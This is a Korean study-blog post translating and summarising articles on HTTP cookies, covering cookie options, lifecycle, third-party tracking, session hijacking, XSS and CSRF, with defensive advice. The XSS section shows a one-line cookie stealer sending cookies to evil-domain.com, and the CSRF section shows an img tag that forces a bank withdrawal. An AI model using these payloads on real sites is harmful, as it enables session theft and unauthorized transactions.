LastMod:

👨‍💻 개인 공부 기록용 블로그 입니다.
💡 틀린 내용이나 오타는 댓글, 메일로 제보해주시면 감사하겠습니다!! (__)

humanwhocodes.com (링크1, 링크2) 의 글을 번역하고 정리한 글입니다.
원 글의 라이센스인 CC BY-NC-ND 3.0를 따르며, 번역하는 과정에서 일부 내용을 재구성 및 추가하였습니다.

Introduction

나의 기술 부채 중 하나인 쿠키에 대해 정리해보았다. 그동안 쿠키에 대해 잘 알지도 못하고 막 갖다가 썼는데, 기회가 되어 다시 공부하면서 이 글을 작성하였다. 이 글에서는 HTTP 쿠키의 기원과 어떤 방식으로 동작하는 지, 쿠키의 다양한 옵션과 생애주기, 쿠키와 관련된 공격들에 대해 다룬다.

쿠키의 기원

  • 초기 웹의 가장 큰 문제중 하나는 상태를 관리하는 방법이었음.
    • 서버는 동일한 브라우저에서 2개의 요청을 날린 것인지, 각각의 브라우저에서 각자 요청을 날린 것인지 구분할 수 없다.
    • 당시 가장 쉬운 방법은 요청이 있을 때 페이지에 토큰을 삽입하고, 다음 요청 시 해당 토큰을 다시 전달하는 것
    • 이를 위해 토큰이 숨겨진 필드가 있는 양식을 사용하거나, URL의 쿼리 중 일부로 토큰을 전달해야 했음
    • 두 가지 방식 모두 작업 오버헤드가 크고, 오류가 발생하기 쉬움.
  • 넷스케이프 직원이었던 루 몬툴리가 ‘매직 쿠키’ 라는 개념으로 장바구니 문제를 해결함

쿠키란 무엇인가?

  • 간단히 말해, 쿠키는 사용자의 브라우저에 저장되는 작은 텍스트 파일임.
    • 실행 코드를 포함하지 않는 순수 텍스트이다.
  • 웹 페이지 또는 서버는 브라우저에 이 정보를 저장한 다음, 일련의 규칙에 따라 후속 요청이 있을 때마다 저장해놨던 쿠키를 다시 보내도록 지시함.
    • 이를 통해 웹 서버는 개별 사용자를 식별할 수 있음
  • 로그인이 필요한 대부분의 사이트는 일반적으로 사용자의 자격 증명이 확인되면 쿠키를 설정하며, 해당 쿠키가 존재하고 유효성이 확인되는 한, 해당 사용자는 사이트의 모든 부분을 자유롭게 탐색할 수 있음
  • 정리하면, 쿠키는 데이터를 담는 문자열일 뿐 그 자체로는 절대 유해하지 않음.
  • 모든 요청마다 쿠키를 함께 묶어서 전송하기 때문에 성능 오버헤드가 발생할 수 있으며, 쿠키의 크기가 매우 한정적(4kb)이기 때문에 정보를 클라이언트에 저장하기 위한 목적이면 Modern APIs의 종류인 웹스토리지 API(localStorage, sessionStorage)와 IndexedDB를 사용하는 것이 옳은 방법이다.

쿠키 생성

  • 서버는 Set-Cookie 라는 HTTP 헤더를 전송하여 저장할 쿠키를 지정함. 다음과 같은 형식을 가짐
    Set-Cookie: <em>value</em>[; expires=<em>date</em>][; domain=<em>domain</em>][; path=<em>path</em>][; secure]
    
  • 헤더의 첫 부분은 일반적으로 key=value 쌍의 문자열임.
    • 이 형식으로 사용하도록 RFC상에서 명시하고 있지만, 브라우저는 이를 명시적으로 파싱하지 않음.
    • 즉, 브라우저 단에서 유효성 검사를 실시하지 않기 때문에, 등호 없이 일반 문자열을 보내도 해당 값이 쿠키로 지정됨
    • 하지만 key=value 쌍의 문자열을 지정하는 게 가장 일반적인 사용법이다.
  • 쿠키가 존재하고 규칙이 허용(선택적임)되는 경우, 쿠키 값은 이후 요청에 따라 서버로 전송됨. 전송되는 쿠키 값 또한 HTTP 헤더에 위치하며, 형식은 다음과 같음. (다른 옵션 없이 쿠키 값만 전송)
    Cookie: value1; value2; name1=value1;
    

쿠키 인코딩

  • 일반적으로 쿠키 값은 URL로 인코딩되어야 한다고 생각하지만, 이는 잘못된 생각이다.
    • 역자 주 - URL 인코딩: 현 -> ED9884 ->'%ED%98%84' 처럼, URL에서 사용될 수 없는 문자를 사용가능하도록 인코딩. 사실 퍼센트 인코딩이라는 용어가 더 적합함.
    • RFC에는 인코딩에 대한 언급이 전혀 없음. URL 인코딩은 그냥 구현 방식일 뿐이다.

만료 옵션 (expires)

  • 쿠키 값 뒤의 각 옵션은 세미콜론과 공백으로 구분되며, 각각 쿠키가 서버로 다시 전송되어야 하는 시점에 대한 규칙을 지정한다. 첫 번째 옵션은 만료로, 더 이상 쿠키가 서버로 전송되지 않아야 하는 시기를 나타낸다.
  • 브라우저에서는 만료 시각이 지나면 자동으로 삭제한다.
  • 형식은 다음과 같다.
    Set-Cookie: name=HyunJun; expires=Sat, 02 May 2009 23:38:25 GMT
    
  • expires 옵션이 없다면 쿠키의 수명은 단일 세션. 즉, 브라우저가 열려있는 동안에만 존재한다.
  • 웹사이트를 사용하다보면 로그인할 때 로그인 정보를 저장할 것인지 묻는 경우가 많은데, 예를 선택하는 경우에는 로그인 쿠키에 만료 옵션이 더해지는 것이다.

도메인 옵션 (domain)

  • domain 옵션은 쿠키를 전송할 도메인을 나타낸다.
  • 기본적으로 도메인은 쿠키를 설정하는 페이지의 호스트 이름으로 설정되므로 동일한 호스트 이름으로 요청할 때마다 쿠키 값이 전송된다.
  • 따라서 이 옵션은 쿠키를 전송할 도메인을 늘리는 데 사용된다.
  • 형식은 다음과 같다.
    Set-Cookie: name=HyunJun; domain=github.io
    
  • 예를 들어, 네이버 (www.naver.com)를 이용한다고 해보자.
    • 다양한 서비스가 있을 것이다. 지도(map.naver.com) 라던지, 뉴스(news.naver.com) 라던지…
    • 이 때, 쿠키의 도메인 옵션을 naver.com로 설정하면 브라우저는 이 값과 요청이 전송되는 호스트 이름의 꼬리 비교를 수행하여(문자열의 끝 부분부터 비교를 시작한다는 의미) 일치하는 경우 해당 쿠키 헤더를 전송한다.
    • 정리하면, 여러 서브 서비스가 있는 대규모 서비스에서 전역 쿠키를 사용해야 할 때, 이 옵션이 적합하다.
  • 도메인 옵션에 적히는 도메인은 Set-Cookie 헤더를 전송하는 호스트 이름의 일부여야 한다.
  • 잘못된 도메인 옵션은 무시된다.

경로 옵션 (path)

  • path 옵션은 쿠키 헤더가 전송되는 시기를 제어하는 또 다른 방법이다.
  • 도메인 옵션과 마찬가지로 path는 쿠키 헤더를 보내기 전에 요청된 리소스에 존재해야 하는 URL 경로를 나타낸다.
    • 요청 URL의 시작 부분부터, 옵션 값을 문자별로 비교하여 일치하는 경우에만 쿠키 헤더가 전송된다.
    • path 옵션에 지정된 문자열로 시작하는 모든 것이 유효하다.
  • 예를 들어, 다음과 같은 쿠키가 전송된다고 해보자.
    Set-Cookie: name=HyunJun; path=/blog
    
  • 위 쿠키에서는 /blog, /blogroll 등의 경로가 모두 유효하다.
  • 이러한 비교는 도메인 옵션의 비교 후에 이뤄진다.
  • path 옵션 또한 도메인 옵션과 마찬가지로, 기본 값은 Set-Cookie 헤더를 전송한 URL 경로이다.

보안 옵션 (secure)

  • secure 옵션은 다른 옵션과 달리 플래그일 뿐이며, 추가 값을 지정하지 않는다.
  • 이 옵션이 켜진 보안 쿠키는 SSL 및 HTTPS 프로토콜을 사용하여 요청이 이루어질 때만 서버로 전송된다.
  • 쿠키의 내용이 매우 중요하고, 일반 텍스트로 전송하는 경우 잠재적으로 손상될 수 있다는 점을 고려한 것이다.
  • 실제로는 쿠키의 메커니즘 자체가 본질적으로 안전하지 않기 때문에 기밀 정보나 민감한 정보는 쿠키를 사용하면 안된다.
  • 기본적으로, HTTPS 연결을 통해 설정된 쿠키는 자동으로 보안 쿠키로 설정된다.
Set-Cookie: name=HyunJun; secure

SameSite 옵션

  • SameSite 옵션은 최근 웹 보안에서 중요하게 다루어진다. 하기 설명할 CSRF 공격을 막는 데 도움을 준다.
  • 이 옵션은 3가지 값을 가질 수 있으며, 각각의 값은 언제 클라이언트로 부터 서버로 전송되어야 하는지를 브라우저에 지시한다.
    1. Strict: 쿠키가 오직 같은 사이트에서만 전송되어야 한다.
    2. Lax: 위 옵션 보다는 덜 제한적으로, 사용자가 외부 사이트에서 현재 사이트로의 링크를 클릭하여 접속하는 경우에는 쿠키를 전송하도록 허용한다. 기본적으로 이 옵션이 적용된다.
    3. None: 쿠키가 모든 크로스 사이트 요청에 대해 전송되어야 한다. 서브파티 컨텍스트에서도 쿠키가 전송되어야 하는 특정 시나리오에서는 유용할 수 있다. 이 옵션을 통해 크로스 사이트 쿠키를 만들 때에는 브라우저에서 이를 허용할 수 있도록 반드시 secure 옵션을 설정해야 한다.
  • 형식은 다음과 같다.
    Set-Cookie: name=HyunJun; SameSite=Lax
    

쿠키의 지속성과 생애주기

  • 단일 쿠키에 대해 여러 옵션을 넣을 수 있으며, 순서는 고려하지 않는다.
  • 아래와 같은 쿠키가 전송되었다고 가정해보자. (#1)
    Set-Cookie: name=HyunJun; domain=github.io; path=/blog
    
  • 3가지의 옵션이 지정되었지만, 실질적으로 secure 까지 4가지의 식별자가 존재하는 것이다.
  • 나중에 이 쿠키의 값을 변경하기 위해서는 name, domain, path 가 모두 일치하는Set-Cookie 헤더를 보내야 한다. (#2)
    Set-Cookie: name=hyunjuki; domain=github.io; path=/blog
    
  • 위와 같이 쿠키를 보내면, name 의 값을 다르게 주었기 때문에 서로 다른 쿠키가 생기게 된다. 따라서 www.nczonline.net/blog에 접속했을 때 요청에 포함되는 쿠키 헤더는 다음과 같다.
    Cookie: name=hyunjuki; name=HyunJun
    
  • 만약 하나라도 다른 값을 채운다면, 완전히 다른 쿠키가 생성된다. 아래 예시를 보자. (#3)
    Set-Cookie: name=HyunJun; domain=github.io; path=/
    
  • #1 의 쿠키와 비슷하게 생겼지만, path 가 다르게 지정되어 있기 때문에 전혀 다른 쿠키가 생성된다.
  • 이 때, www.nczonline.net/blog에 접속했을 때 요청에 포함되는 쿠키 헤더는 다음과 같다.
    Cookie: name=hyunjuki; name=HyunJun; name=HyunJun
    
  • 더 구체적인 경로를 가진 쿠키가 요청 헤더에 먼저 포함되는 원칙이 있다. (domain-path-secure 튜플 순으로 더 특정성 있는 쿠키가 먼저 포함된다.)
  • 따라서 두 개의 name=HyunJun; 쿠키 중 첫 번째는 path=/blog로 설정된 쿠키이다.
  • 쿠키의 ‘승리’ 조건, 즉 어떤 쿠키 값이 사용될지를 결정하는 조건은 브라우저의 구현, 쿠키를 처리하는 방식, 서버측 구현 로직에 따라 다르다.
  • github.io/blog에 접속한 채로 다음 쿠키를 설정했다고 가정해보자. (#4)
    Set-Cookie: name=Mike
    
  • 위 쿠키의 나머지 옵션은 모두 기본값으로 설정되기 때문에, 자동으로 domain=github.io; path=/blog 가 적용된다. 따라서 다음 요청에 포함되는 쿠키 헤더는 다음과 같다.
    Cookie: name=Mike; name=hyunjuki; name=HyunJun; name=HyunJun
    

만료 날짜 이용하기 (expiration dates)

  • 만료 날짜가 있는 쿠키가 생성되면 해당 만료 날짜는 (이름-도메인-경로-보안) 튜플로 식별되는 쿠키와 관련이 있다.
  • 쿠키 만료 날짜를 변경하기 위해선, 정확히 동일한 튜플을 지정하여 Set-Cookie 요청을 날려야 한다.
  • 쿠키 값을 변경할 때 만료 날짜는 식별 정보의 일부가 아니므로 매번 설정할 필요가 없다.
  • 만료 날짜는 다시 변경하지 않는 한 바뀌지 않는다.
  • 즉, 세션 쿠키는 동일한 세션 내에서 영구 쿠키(여러 세션에 걸쳐 지속되는 쿠키. 즉, expires 옵션이 적용됨)가 될 수 있지만 그 반대의 경우는 그렇지 않다.
    • 역자 주 - expires 옵션을 다시 적용할 수 있지만, 아예 없애버리지는 못한다는 뜻
  • 영구 쿠키를 세션 쿠키로 변경하려면, 만료일을 과거의 시점으로 설정하여 영구 쿠키를 삭제한 후 같은 이름의 세션 쿠키를 만들어야 한다.
  • 만료 날짜는 브라우저를 실행하는 컴퓨터의 시스템 시간과 비교하여 확인된다.
  • 시스템 시간이 서버 시간과 동기화되었는지 확인할 수 있는 방법이 없으므로 시스템 시간과 서버 시간이 불일치할 경우 오류가 발생할 수 있다.

자동 쿠키 삭제

  • 쿠키가 브라우저에 의해 자동으로 제거되는 데에는 몇 가지 이유가 있다.
    1. 세션 쿠키는 세션이 종료되면 삭제된다. (브라우저가 닫히는 경우)
    2. 영구 쿠키( expires 옵션이 있는 쿠키)는 만료 시간에 도달하면 삭제된다.
    3. 브라우저의 쿠키 한도에 도달하면 가장 최근에 생성된 쿠키를 위한 공간을 확보하기 위해 쿠키가 삭제된다. (보통 LRU 방식을 사용한다.)
  • 의도치 않게 쿠키가 자동으로 제거되는 경우를 방지하려면 쿠키 관리가 중요하다.

쿠키 제한

  • 쿠키의 남용을 방지하고 브라우저와 서버를 유해한 영향으로부터 보호하기 위해 쿠키에는 여러 가지 제한이 있다.
  • (브라우저 별 쿠키 개수 제한이 있는데, 최근에는 의미가 없는 수준임 - 1, 2위를 달리는 사파리와 크롬에는 쿠키 수 제한이 없음)
  • 서버로 전송되는 모든 쿠키의 최대 크기는 쿠키의 등장부터 지금까지 동일하게 유지되어 왔다. (4kb)
  • 즉, 4kb를 넘는 쿠키는 잘리기 때문에 원하는 대로 전송되지 않을 수 있다.

서브쿠키

  • 쿠키 개수 제한으로 인해 개발자는 사용 가능한 저장 공간을 늘리기 위해 서브쿠키라는 아이디어가 나왔다.
  • 서브쿠키는 쿠키 값 내에 저장되는 이름-값 쌍으로, 다음과 같은 형태이다.
    name=a=b&c=d&e=f&g=h
    
  • 이렇게 하면 브라우저의 쿠키 수 제한을 우회하여 여러 정보를 담을 수 있다.
  • 하지만 이 방법은 서버단에서의 추가 파싱을 필요로 하게 된다.
  • (이것도 최근에는 큰 의미가 없는 방법인 듯 하다.)

자바스크립트에서 쿠키 사용하기

  • document.cookie 를 통해 자바스크립트에서 쿠키를 생성, 조작 및 제거할 수 있다.
  • 이 속성은 할당할 때는 Set-Cookie 헤더로, 읽을 때는 쿠키 헤더로 동작한다.
  • 쿠키를 만들 때는 Set-Cookie가 필요로하는 형식과 동일한 문자열을 사용해야 한다:
    document.cookie="name=HyunJun; domain=github.io; path=/";
    
  • document.cookie 값을 설정해도 페이지에 저장된 모든 쿠키가 삭제되지는 않는다. 단순히 문자열에 지정된 쿠키를 생성하거나 수정할 뿐이다.
  • 다음에 서버에 요청을 할 때 이 쿠키는 Set-Cookie를 통해 생성된 다른 쿠키와 함께 전송되며, 이러한 쿠키 간에는 인식할 수 있는 차이가 존재하지 않는다.
  • 자바스크립트에서 쿠키 값을 검색하려면 document.cookie 속성에서 읽으면 된다. 반환되는 문자열은 쿠키 헤더 값과 동일한 형식이므로 여러 개의 쿠키는 세미콜론과 공백으로 구분됩니다.
  • 사용자가 직접 쿠키 문자열을 파싱해서 사용해야 한다. 자바스크립트 내장 라이브러리를 사용해도 되고, 쿠키를 파싱하기 위한 이미 존재하는 라이브러리를 사용해도 된다.
  • document.cookie에 접근하여 반환되는 쿠키는 서버로 전송되는 쿠키와 동일한 규칙을 따른다.
  • 자바스크립트를 통해 쿠키에 접근하기 위해서는 페이지가 동일한 도메인에 있고, 경로가 동일하며, 쿠키에 지정된 것과 동일한 보안 수준을 가져야 한다.
  • 자바스크립트를 통해 쿠키카 설정된 후에는 쿠키 옵션을 검색할 수 없으므로, 도메인, 경로, 만료일 또는 보안 플래그를 알 수 없다.

HTTP-Only 쿠키

  • HTTP-Only 쿠키의 기본 개념은 문서 쿠키 속성을 통해 자바스크립트를 통해 쿠키에 액세스할 수 없도록 브라우저에 지시하는 것이다.
  • 이 기능은 자바스크립트를 통해 쿠키를 탈취하는 크로스 사이트 스크립팅(XSS) 공격을 방지하기 위한 보안 조치로 설계되었다. XSS 공격은 아래에서 설명한다.
  • HTTP-Only 쿠키를 만들려면 쿠키에 HttpOnly 플래그를 추가하면 됩니다:
    Set-Cookie: name=HyunJun; HttpOnly
    
  • 이 플래그가 설정되면 document.cookie를 통해 이 쿠키에 액세스할 수 없다.
  • 당연하게도 자바스크립트로는 HTTP-Only 쿠키를 설정할 수 없다.

유저 로그인과 세션 하이재킹

  • 쿠키의 가장 일반적인 용도 중 하나는 사용자 로그인 상태를 추적하는 것.
    • 사용자의 로그인 정보가 유효하면, 다음 응답과 함께 사용자를 고유하게 식별하는 쿠키가 전송됨.
    • 사이트의 각 페이지는 로그인 자격 증명을 설정하기 위해 해당 쿠키를 확인.
    • 쿠키가 유지되는 한, 사용자는 원래 로그인 한 사람으로 인식됨.
  • 의도치 않게 로그인 상태를 유지하는 것을 방지하기 위한 보안 조치로, 대부분의 사이트는 이러한 쿠키를 세션 쿠키로 설정하여 브라우저가 닫힐 때 삭제되도록 함.
    • 많은 사이트들이 ‘로그인 유지하기’ 옵션을 통해 사용자의 요청에 따라 세션 쿠키를 영구 쿠키로 바꿀 수 있도록 함
    • 그럼에도, ‘로그인 유지하기’ 옵션을 제공하는 대부분의 시스템에서는 사용자의 보안을 위협할 수 있는 로그인 자격 증명의 폭주를 방지하기 위해 1~2주라는 기간 제한을 두고 있음.
  • 쿠키를 통한 사용자 식별 시스템의 문제점은 단일 데이터 포인트가 남는다는 것.
    • 또한, 쿠키는 인터넷을 통해 일반 텍스트로 전송되기 때문에 [패킷 스니핑 (누군가 트래픽을 가로 채는 것)] 에 취약할 수 있음.
    • 그렇게 로그인 쿠키가 탈취되면, 수동으로 쿠키를 설정하여 다른 곳에서 동일한 세션을 시뮬레이션하는 데 사용할 수 있음.
    • 서버는 이 상황에서 원본 쿠키와 탈취 후 복제된 쿠키의 차이를 구분할 수 없다.
    • 이러한 유형의 공격을 [세션 하이재킹 (Session Hijacking)] 이라고 함.
  • 세션 하이재킹을 방지하기 위해선
    1. SSL을 통해서만 쿠키를 전송: SSL은 브라우저에서 요청을 암호화하기 때문에, 패킷 스니핑만으로는 쿠키 값을 식별할 수 없음.
    2. 사용자에 대한 정보(이름, IP, 로그인 시간 등)를 기반으로, 임의의 방식으로 세션 키 생성: 세션 키를 재사용하기 어려워짐(불가능하지는 않음)
    3. 보안 수준이 높아야 되는 활동(송금이나 구매 완료 처리 등)을 수행하기 전, 사용자를 다시 확인: 비밀번호를 바꾼 후 재로그인을 요구

서드파티(Third-party) 쿠키

  • 웹 페이지에서는 웹 어디에서나 리소스를 포함할 수 있다.
  • HTML에 다른 도메인의 리소스를 포함하는 방법에는 여러 가지가 있다.
    • <link> 태그를 사용하여 스타일 시트를 포함
    • <script> 태그를 사용하여 자바스크립트 파일을 포함
    • <object>태그 또는 미디어 파일을 포함하는 태그를 사용
    • <iframe> 태그를 사용하여 다른 HTML 파일을 포함
  • 각각의 경우 외부 파일이 참조되므로, 자체 쿠키를 반환할 수 있다.
  • A.com 에서 B.com에 있는 이미지 배너를 불러온다고 가정해보자.
  • B.com의 서버는 이미지 배너와 함께 Set-Cookie 헤더를 전송해 브라우저가 id=1 과 같은 쿠키를 설정하도록 한다. 이 쿠키는 B.com 에서 설정했기 때문에, B.com에서만 볼 수 있다. (domain 옵션이 B.com으로 설정된 것과 같다.) 이러한 쿠키를 서드파티 쿠키 (Third-party Cookie) 라고 한다.

image

  • 사용자가 만약 A.com에 다시 접속하게 되면, B.com의 서버가 요청을 받으면서 함께 받은 쿠키의 id를 통해 특정 사용자를 인식한다.

image

  • 이 사용자가 A.com을 벗어나 C.com으로 이동했는데, B.com에서 제공하는 같은 이미지 배너가 있다고 가정해보자.

image

  • 처음에 A.com에서 설정된 서드파티 쿠키가 C.com에 접속할 때 B.com로 같이 보내진다.
  • B.com에서는 해당 서드파티 쿠키와 함께 HTTP Referer 헤더를 같이 수신하기 때문에, 해당 쿠키 값을 가지는 유저가 어떤 페이지를 방문했는지 모두 추적할 수 있게 된다.
  • 이러한 원리로 광고 사이트에서 사이트 간 사용자 이동을 추적하게 된다. 이때문에 서드파티 쿠키를 추적 쿠키 라고도 한다.
  • 실제로 보안상 문제가 되는 건 아니지만, 더 큰 범위에서 논의되어야 할 문제이다.
  • 사파리는 애초에 서드파티 쿠키가 막혀있었고, 크롬은 23년도 부터 서드파티 쿠키 사용이 제한되었다.
  • EU에서는 GDPR이라는 법령으로, 쿠키를 추적하는 경우 사용자로부터 명시적인 허가를 얻어야만 한다.
    • 따라서 해외 사이트를 들어갔을 때, 쿠키를 허용하겠냐는 팝업창이 자주 보이는 것이다.

쿠키 탈취와 XSS(Cross-site scripting)

  • 다른 도메인의 자바스크립트를 페이지에 로드하는 기능은 편리할 수 있지만, 골치 아픈 보안 취약점을 열어줄 수 있다.
  • 서드파티 자바스크립트 리소스에 대한 요청에 페이지의 쿠키가 포함되어 있지 않더라도, 스크립트는 해당 쿠키에 접근할 수 있다.
  • 페이지의 모든 자바스크립트는 동일한 도메인, 동일한 경로 및 페이지 자체와 동일한 프로토콜을 사용하여 실행되는 것으로 간주된다.
  • 즉, 로드된 다른 도메인의 스크립트는 document.cookie를 읽어 해당 페이지의 쿠키를 얻을 수 있다.
  • 이게 얼마나 위험한 지 알아보기 위해, evil-domain.com 에서 유용한 코드가 포함된 스크립트를 특정 페이지에 로드한다고 가정해보자.
    (new Image()).src = "http://www.evil-domain.com/cookiestealer.php?cookie=" + cookie.domain;
    
  • 이제 이 코드는 특정 페이지에 로드 되고, 자동으로 방문자들의 쿠키를 evil-domain.com으로 다시 보낸다.
  • 쿠키가 있으면 세션 하이재킹을 포함한 다른 공격을 저지르는게 훨씬 쉬워진다.
  • 서드파티 자바스크립트를 페이지에 삽입하여 공격하는 것을 XSS(Cross-site scripting)공격 이라고 한다.
  • 세션 토큰 탈취 외에도, 페이지에 스크립트를 삽입하기 때문에 자바스크립트로 할 수 있는 모든 기능을 통해 공격할 수 있다. (키 로깅, 키보드 입력 탈취, 폼 입력값 탈취 등)

  • 쿠키 도용은 악의적인 스크립트를 포함하는 것만으로는 발생하지 않고, 잘못된 입력 필터링으로 인해 발생할 수도 있다.
  • SQL 인젝션과 비슷한 방식으로, 입력값 검증을 제대로 하지 않아서 <script> 태그가 포함된 문자열을 받고 그대로 실행하게 되면 쿠키가 도난당할 수 있다.
  • XSS를 방지하기 위해서는 다음 주의 사항을 따른다.
    1. 신뢰할 수 없는 도메인의 자바스크립트를 포함하지 않는다.
    2. 모든 사용자 입력에서 HTML을 필터링한다. - SQL 인젝션을 막는 방법과 비슷
    3. HTTP-Only 쿠키를 사용한다.

CSRF(Cross-site Request Forgery)

  • CSRF(Cross-site Request Forgery) 공격은 공격자가 로그인한 사용자를 대신하여 악의적인 작업을 수행하는 요청을 보내도록 브라우저를 설득하는 것이다.
  • 위에서 설명한 XSS 기술이나 간단한 HTML을 사용하여 공격을 수행할 수 있다.
  • 입력 필터링이 존재하지 않는 포럼에 누군가 게시글을 작성한다고 해보자.
    • 필터링이 존재하지 않기 때문에 사용자는 HTML을 직접 입력할 수 있게 된다.
    • 게시글 내용에 다음을 적었다고 가정해보자.
      <img src="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">
      
  • 다른 사용자가 이 게시글을 눌렀다면, 무조건 위 링크에 요청을 보내게 된다.
    • 해당 사용자가 만약 bank.example에 로그인 했던 상황이면, 그대로 다른사람한테 돈을 송금하게 될 것이다.
    • 물론, 이는 입력 필터링이 없는 곳 + bank.example 측 서버 사이드 검증이 하나도 없어야 일어날 수 있는 특이 케이스 이지만, 사용자의 의도와는 상관 없이 요청이 날라간다는 점에 주목해야 한다.
  • XSS와 마찬가지로, 입력 필터링은 CSRF 공격을 방지하는 중요한 도구이다. 그 밖에도:
    1. 민감한 작업에 대해 추가적인 확인 절차가 필요함 - 위 예시 기준 bank.example 의 서버 사이드 검증이 추가되어야 한다.
    2. 민감한 데이터가 있는 시스템에서 사용자를 확인하는 쿠키는 만료 시간이 짧아야 함
    3. 쿠키 뿐만 아니라, Referer나 요청 유형(Get 대신 Post 요청이 왔는지)에 따른 유효성 검사도 수행해야 함
  • CSRF 공격은 일단 시작되면 추적하기 특히 까다롭기 때문에, 예방이 중요하다.

결론

  • 쿠키는 사용자의 세션 관리, 개인화된 사용자 경험 제공, 로그인 상태 유지 등 다양한 기능을 가능하게 한다.
  • 쿠키를 설정하고 사용하는데는 다양한 옵션이 존재하고, 이를 적재적소에 활용하여 보안과 사용자 경험을 최적화해야 한다.
  • 쿠키를 통한 XSS, CSRF 와 같은 공격이 있고, 올바른 쿠키 설정과 보안 관행을 적용함으로써 상당수의 공격을 막을 수 있다.

References

https://humanwhocodes.com/blog/2009/05/05/http-cookies-explained/

https://humanwhocodes.com/blog/2009/05/12/cookies-and-security/

https://ko.javascript.info/cookie#ref-62

https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies

https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/Referer

https://en.wikipedia.org/wiki/Cross-site_request_forgery

Leave a comment